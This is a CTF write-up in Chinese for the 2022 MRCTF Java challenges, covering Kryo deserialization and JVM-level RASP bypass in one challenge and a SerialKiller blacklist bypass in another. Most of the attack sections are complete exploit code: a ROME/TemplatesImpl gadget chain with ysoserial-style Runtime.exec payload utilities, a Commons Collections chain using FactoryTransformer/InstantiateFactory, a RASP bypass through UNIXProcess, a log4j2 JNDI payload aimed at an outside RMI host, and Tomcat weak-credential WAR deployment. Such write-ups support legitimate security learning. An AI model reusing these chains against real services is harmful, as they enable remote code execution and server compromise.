2022MRCTF-Java部分

2022MRCTF-Java部分

总结

总的来说是一次非常不错的比赛,这里也会简单列出考点方便查阅学习,不难有点引导性质

Ps:此次比赛都是不出网,所以都需要内存马,内存马部分不做讲解很简单百度搜搜

下面这两题挺不错的也学到了东西,题目做了备份,核心代码(exp)也放到了git仓库备份,本篇只是思路帖子

https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF

Springcoffee–Kryo反序列化、绕Rasp

EzJava–绕Serialkiller黑名单中cc关键组件

下面这两题没啥参考价值,不过让我搞了下实战也还不错

Java_mem_shell_Filter–log4j2打jndi

Java_mem_shell_Basic—tomcat弱口令

Springcoffee – Kryo反序列化、绕Rasp

ok,这东西也是从来没学过,又是从头开始,这里记录了当时是如何思考的分析思考过程

思路分析

首先看看整体目录结构

这里挑几个重要的来讲一下CoffeeController

order路由反序列化

1
2
3
4
5
6
7
@RequestMapping({"/coffee/order"})
public Message order(@RequestBody CoffeeRequest coffee) {
if (coffee.extraFlavor != null) {
ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(coffee.extraFlavor));
Input input = new Input(bas);
ExtraFlavor flavor = (ExtraFlavor)this.kryo.readClassAndObject(input);
return new Message(200, flavor.getName());

demo路由,主要是根据输入修改一些关键配置,这个比较关键之后再说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
@RequestMapping({"/coffee/demo"})
public Message demoFlavor(@RequestBody String raw) throws Exception {
System.out.println(raw);
JSONObject serializeConfig = new JSONObject(raw);
if (serializeConfig.has("polish") && serializeConfig.getBoolean("polish")) {
this.kryo = new Kryo();
Method[] var3 = this.kryo.getClass().getDeclaredMethods();
int var4 = var3.length;

for(int var5 = 0; var5 < var4; ++var5) {
Method setMethod = var3[var5];
if (setMethod.getName().startsWith("set")) {
try {
Object p1 = serializeConfig.get(setMethod.getName().substring(3));
if (!setMethod.getParameterTypes()[0].isPrimitive()) {
try {
p1 = Class.forName((String)p1).newInstance();
setMethod.invoke(this.kryo, p1);
} catch (Exception var9) {
var9.printStackTrace();
}
} else {
setMethod.invoke(this.kryo, p1);
}
} catch (Exception var10) {
}
}
}
}

ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
this.kryo.register(Mocha.class);
this.kryo.writeClassAndObject(output, new Mocha());
output.flush();
output.close();
return new Message(200, "Mocha!", Base64.getEncoder().encode(bos.toByteArray()));
}

首先要解决这道题,我们得知道前人都有一些什么研究

通过谷歌简单搜索可以搜到一篇文章:浅析Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641)

其中比较有信息量的是调用栈,但是这里题目环境里面没有依赖

但是这里有rome依赖,那么很容易想到EqualsBean去触发ROME的利用链子

具体利用过程(Payload构造过程)

根据dubbo的利用链进行修改我们可以得到这样的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
package demo;

import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import fun.mrctf.springcoffee.model.ExtraFlavor;
import fun.mrctf.springcoffee.model.Mocha;
import javassist.ClassPool;
import org.json.JSONObject;
import org.objenesis.strategy.SerializingInstantiatorStrategy;
import org.objenesis.strategy.StdInstantiatorStrategy;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.sql.rowset.BaseRowSet;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.Base64;
import java.util.HashMap;

public class Testt {
protected Kryo kryo = new Kryo();


public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}


public String ser(String raw) throws Exception{
JSONObject serializeConfig = new JSONObject(raw);
if (serializeConfig.has("polish") && serializeConfig.getBoolean("polish")) {
this.kryo = new Kryo();
Method[] var3 = this.kryo.getClass().getDeclaredMethods();
int var4 = var3.length;

for(int var5 = 0; var5 < var4; ++var5) {
Method setMethod = var3[var5];
if (setMethod.getName().startsWith("set")) {
try {
Object p1 = serializeConfig.get(setMethod.getName().substring(3));
if (!setMethod.getParameterTypes()[0].isPrimitive()) {
try {
p1 = Class.forName((String)p1).newInstance();
setMethod.invoke(this.kryo, p1);
} catch (Exception var9) {
var9.printStackTrace();
}
} else {
setMethod.invoke(this.kryo, p1);
}
} catch (Exception var10) {
}
}
}
}

ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();

TemplatesImpl templates = new TemplatesImpl();
byte[][] bytes = new byte[][]{ClassPool.getDefault().get("demo.YYDS").toBytecode()};


EqualsBean bean = new EqualsBean(String.class,"");


setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "1");

setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

setFieldValue(bean,"beanClass", Templates.class);
setFieldValue(bean,"obj",templates);
Object gadgetChain = Utils.makeXStringToStringTrigger(templates,bean); // toString() trigger

objectObjectHashMap.put(gadgetChain,"");

kryo.writeClassAndObject(output, objectObjectHashMap);


output.flush();
output.close();

return new String(Base64.getEncoder().encode(bos.toByteArray()));
}

public void deser(String raw){

ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(raw));
Input input = new Input(bas);
ExtraFlavor flavor = (ExtraFlavor)this.kryo.readClassAndObject(input);
System.out.println(flavor.getName());

}



public static void main(String[] args) throws Exception {

Testt test = new Testt();

String ser = test.ser("{\"polish\":true,\"RegistrationRequired\":false,\"InstantiatorStrategy\": \"org.objenesis.strategy.StdInstantiatorStrategy\"}");
test.deser(ser);
}
}

以及Utils类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
package demo;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.Serializable;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;

/*
* Utility class - based on code found in ysoserial, includes method calls used in
* ysoserial.payloads.util specifically the Reflections, Gadgets, and ClassFiles classes. These were
* consolidated into a single util class for the sake of brevity; they are otherwise unchanged.
*
* Additionally, uses code based on marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger
* to create a toString trigger
*
* ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial
* marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec
*/
public class Utils {
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");

// for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}

public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

public static class StubTransletPayload extends AbstractTranslet implements Serializable {

private static final long serialVersionUID = -5971610431559700674L;


public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}


@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}

// required to make TemplatesImpl happy
public static class Foo implements Serializable {

private static final long serialVersionUID = 8207363842866235160L;
}

public static InvocationHandler createMemoizedInvocationHandler (final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Utils.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}


public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "System.out.println(\"whoops!\"); java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Utils.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, Utils.classAsBytes(Utils.Foo.class)
});

// required to make TemplatesImpl happy
Utils.setFieldValue(templates, "_name", "Pwnr");
Utils.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}


public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}

@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);

Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);

return (T)sc.newInstance(consArgs);
}

public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}

public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}

public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Utils.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Utils.setFieldValue(s, "table", tbl);
return s;
}

public static Object makeXStringToStringTrigger(Object o,Object bean) throws Exception {
return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(bean));
}
}

但是当你兴冲冲的写好利用链以后,会发现几个问题

首先你会看到一行报错,Class is not registered: java.util.HashMap

那么你肯定会疑惑这是什么玩意儿?它来自哪里?

我们可以看到在com.esotericsoftware.kryo.Kryo#Kryo(com.esotericsoftware.kryo.ClassResolver, com.esotericsoftware.kryo.ReferenceResolver)

首先实例化的时候注册了一些基本类型

然后在代码当中有this.kryo.register(Mocha.class);

可以看到默认是FieldSerializer

那我们也知道我们这个思路触发的核心是通过com.esotericsoftware.kryo.serializers.MapSerializer,但是这里我们没法自己注册怎么办呢,还记得上面那个路由么,demo路由当中可以根据我们前端传入的json当中的熟悉控制执行对应的set方法做属性更改,这里我不直接说需要更改哪些属性去解决这道题,个人更倾向于遇到一个问题解决一个问题

那么既然能控制属性,我们也得知道能控制那一些,通过简单输出可以得到

1
2
3
4
5
6
7
8
9
10
11
12
setWarnUnregisteredClasses
setDefaultSerializer
setDefaultSerializer
setClassLoader
setRegistrationRequired
setReferences
setCopyReferences
setReferenceResolver
setInstantiatorStrategy
setAutoReset
setMaxDepth
setOptimizedGenerics

回到刚刚的问题

既然如此那么我们首先需要知道在哪里抛出了这个异常,可以看到在

com.esotericsoftware.kryo.Kryo#getRegistration(java.lang.Class)

简单列出现在的调用栈,是在序列化的过程当中

1
2
3
4
5
6
getRegistration:579, Kryo (com.esotericsoftware.kryo)
writeClass:112, DefaultClassResolver (com.esotericsoftware.kryo.util)
writeClass:613, Kryo (com.esotericsoftware.kryo)
writeClassAndObject:708, Kryo (com.esotericsoftware.kryo)
ser:97, Testt (demo)
main:121, Testt (demo)

可以看到根据类型在this.classResolver.getRegistration无结果就会抛出异常,通过debug输出classResolver当中的关键信息,可以很明显得到基本都是一些基本的数据类型,没有我们的Map

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
char=[5, char],
long=[7, long],
class java.lang.Byte=[4, byte],
class java.lang.Character=[5, char],
double=[8, double],
class java.lang.Short=[6, short],
int=[0, int],
class java.lang.Integer=[0, int],
byte=[4, byte],
float=[2, float],
class java.lang.Double=[8, double],
class java.lang.Boolean=[3, boolean],
boolean=[3, boolean],
short=[6, short],
class java.lang.Long=[7, long],
class java.lang.String=[1, String],
class java.lang.Float=[2, float]
}

我们再来看在抛出异常的那部分,如果将registrationRequired设置为false,则可以略过这些过程

此时它会执行com.esotericsoftware.kryo.util.DefaultClassResolver#registerImplicit

=>com.esotericsoftware.kryo.Kryo#getDefaultSerializer最终获取到我们需要的com.esotericsoftware.kryo.serializers.MapSerializer

通过比对属性以及上面提到的可利用的set方法,我们能很容易通过payload的传入控制这个过程

1
{"RegistrationRequired":false}

ok当你感觉又行的时候,又兴致冲冲运行了代码,此时又出现Class cannot be created (missing no-arg constructor):,字面意思是我们序列化的类需要有无参构造函数

那我们再跟进代码看看实例化报错到底是怎么回事,在实例化一个类的时候会通过调用com.esotericsoftware.kryo.Kryo#newInstantiator

并最终会调用到com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy#newInstantiatorOf

此时的调用栈为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
newInstantiatorOf:96, DefaultInstantiatorStrategy (com.esotericsoftware.kryo.util)
newInstantiator:1190, Kryo (com.esotericsoftware.kryo)
newInstance:1199, Kryo (com.esotericsoftware.kryo)
create:163, FieldSerializer (com.esotericsoftware.kryo.serializers)
read:122, FieldSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:880, Kryo (com.esotericsoftware.kryo)
read:226, MapSerializer (com.esotericsoftware.kryo.serializers)
read:42, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:880, Kryo (com.esotericsoftware.kryo)
read:226, MapSerializer (com.esotericsoftware.kryo.serializers)
read:42, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:880, Kryo (com.esotericsoftware.kryo)
deser:110, Testt (demo)
main:126, Testt (demo)

可以看到抛错的原因就是下面的这串代码,它默认我们的类有无参构造函数

那为了解决这个问题我们也得知道是否可以不使用DefaultInstantiatorStrategy,转而使用其他InstantiatorStrategy的子类呢,答案是可以的,上面我们可以看到函数实例化的过程是通过this.strategy.newInstantiatorOf(type),而这个DefaultInstantiatorStrategy来源于strategy属性

正好在Kryo类当中有set方法可以实现,com.esotericsoftware.kryo.Kryo#setInstantiatorStrategy,可以看到如果是StdInstantiatorStrategy类则正好符合(官方文档比代码好看)

因此我们得到最终传参

1
{"polish":true,"RegistrationRequired":false,"InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"}

可以看到又报错了,_tfactory空指针异常

这里如何解决呢?其实很简单,别忘了我们这个可是打ROME,通过触发com.rometools.rome.feed.impl.EqualsBean#beanEquals我们能调用任意get方法,这时候不难想到二次反序列化,java.security.SignedObject#getObject,其实就是虎符的思路了没啥难度

1
2
3
4
5
6
7
8
9
10
11
12

public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

因此不难得到payload

1
payloadhere

绕Rasp

这时候你注入内存马执行会发现什么都是空的

这时候你一定很疑问为什么本地打通了远程不行,我也很疑惑,之后看到出题人说

既然存在waf,那么我们第一件事情是什么呢,当然是验证是否是对payload的过滤

因此我将执行的字节码改成

1
Thread.sleep(10000);

成功看到页面延时

这时候猜到可能有Rasp(毕竟对于Java过滤base64解码后的字符串有点傻)

那第一步就要知道rasp的文件内容,用个之前从p牛那里学的伪协议小trick方便我读文件以及列目录

1
2
3
4
5
6
7
8
9
10
String urlContent = "";
final URL url = new URL(request.getParameter("read"));
final BufferedReader in = new BufferedReader(new
InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
urlContent = urlContent + inputLine + "\n";
}
in.close();
writer.println(urlContent);

之后成功得到rasp的地址,/app/jrasp.jar,那么下载下来分析即可,图没截完,意思是只要执行到java.lang.ProcessImplstart方法,而这也就封掉了之前常见的Runtime,ProcessBuilder,甚至js执行之类的,el执行都不行,道理很简单会调用到java.lang.ProcessImpl

如何绕过也很简单去找更下一层的调用即可,也就是通过UNIXProcess即可

后面很恶心一个计算题

脚本有个地方小错误导致三小时没找到前面不能加CHLD_IN导致提前输入错误答案似乎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
use strict;
use IPC::Open3;

my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed!";

my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = substr($r,0,-3);
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";

EzJava – Bypass Serialkiller

解读环境

首先附件给了两个东西一个jar,一个serialkiller的配置文件,下面是jar当中的目录架构

这有两个控制器但是第一个没啥意义,这个路由很明显需要反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@RestController
public class HelloController {
public HelloController() {
}

@GetMapping({"/hello"})
public String index() {
return "hello";
}

@PostMapping({"/hello"})
public String index(@RequestBody String baseStr) throws Exception {
byte[] decode = Base64.getDecoder().decode(baseStr);
ObjectInputStream ois = new SerialKiller(new ByteArrayInputStream(decode), "serialkiller.xml");
ois.readObject();
return "hello";
}
}

简单看下SerialKiller类,实现是载入配置获得黑白名单,通过resolveClass做了过滤,接下来就来看看黑名单,将我们反序列化的关键点给拿捏了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
</blacklist>

Bypass

既然如此那么首先就是想到去找替换类达到同样的效果咯

下面是我通过简单搜索发现的类,当然后面发现解决这题方案很多,我只给一个

FactoryTransformer

可以看到这个trnasfromer的transform方法,可以调用任意Factory子类的create方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class FactoryTransformer implements Transformer, Serializable {
private static final long serialVersionUID = -6817674502475353160L;
private final Factory iFactory;

public static Transformer getInstance(Factory factory) {
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
return new FactoryTransformer(factory);
}
}

public FactoryTransformer(Factory factory) {
this.iFactory = factory;
}

public Object transform(Object input) {
return this.iFactory.create();
}

public Factory getFactory() {
return this.iFactory;
}
}

可以看到也不多,从名字就可以看出,其中有两个可以用的

其中org.apache.commons.collections.functors.ConstantFactory#create可以返回任意值

代替ConstantTransformer

org.apache.commons.collections.functors.InstantiateFactory#create可以实例化任意类

代替InstantiateTransformer去实例化对象

那看到这里你有什么思路了吗?熟悉CC链的童鞋一定会知道TrAXFilter的构造函数当中可以帮助我们触发TemplatesImpl字节码加载的过程

通过如下构造,我们能很轻松的触发计算器

Ps小细节:对expMap做put操作会触发hashCode会导致利用链在序列化过程当中触发导致报错,别忘了先设置一个无关紧要的transformer(比如ConstantTransformer)最后再反射替换成我们恶意的Transformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.nibblesec.tools.SerialKiller;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "1");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory;
instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});

FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);

ConstantTransformer constantTransformer = new ConstantTransformer(1);

Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
setFieldValue(outerMap,"factory",factoryTransformer);

outerMap.remove("keykey");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(expMap);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream ois = new SerialKiller(byteArrayInputStream, "/Users/y4tacker/Downloads/ezjavaz/serialkiller.xml");
ois.readObject();



}
}

后面就是获取注入一个内存马即可获取flag,这部分不谈基础东西而已

那么就结束了这一题

Java_mem_shell_Filter

首先只给了一个登录功能

通过随便访问不存在页面,导致报错抛出也可以得到是tomcat8.0.12版本,那版本问题可以忽略了

接下来由于后端响应真的很快,在公共环境下能做到这样首先考虑弱口令,爆破无效

突然想到能不能打log4j2

1
name=${jndi:rmi://xxxxx/exp}&password=admin

后面拿flag也是比较阴间,这里不重要不写了,涉及到dump内存的操作还是写写吧

1
jmap -dump:format=b,file=e.bin <pid>

Java_mem_shell_Basic

可以看见直接是一个tomcat,看了版本没啥可利用的1day,同时版本比较低不存在幽灵猫漏洞

那么接下来就只能考虑后台弱口令了,tomcat/tomcat,之后部署一个war包上去,直接冰蝎一把梭哈,就是flag位置比较阴间/usr/local/apache-tomcat-8.0.12/work/Catalina/localhost/ROOT/org/apache/jsp/threatbook_jsp.java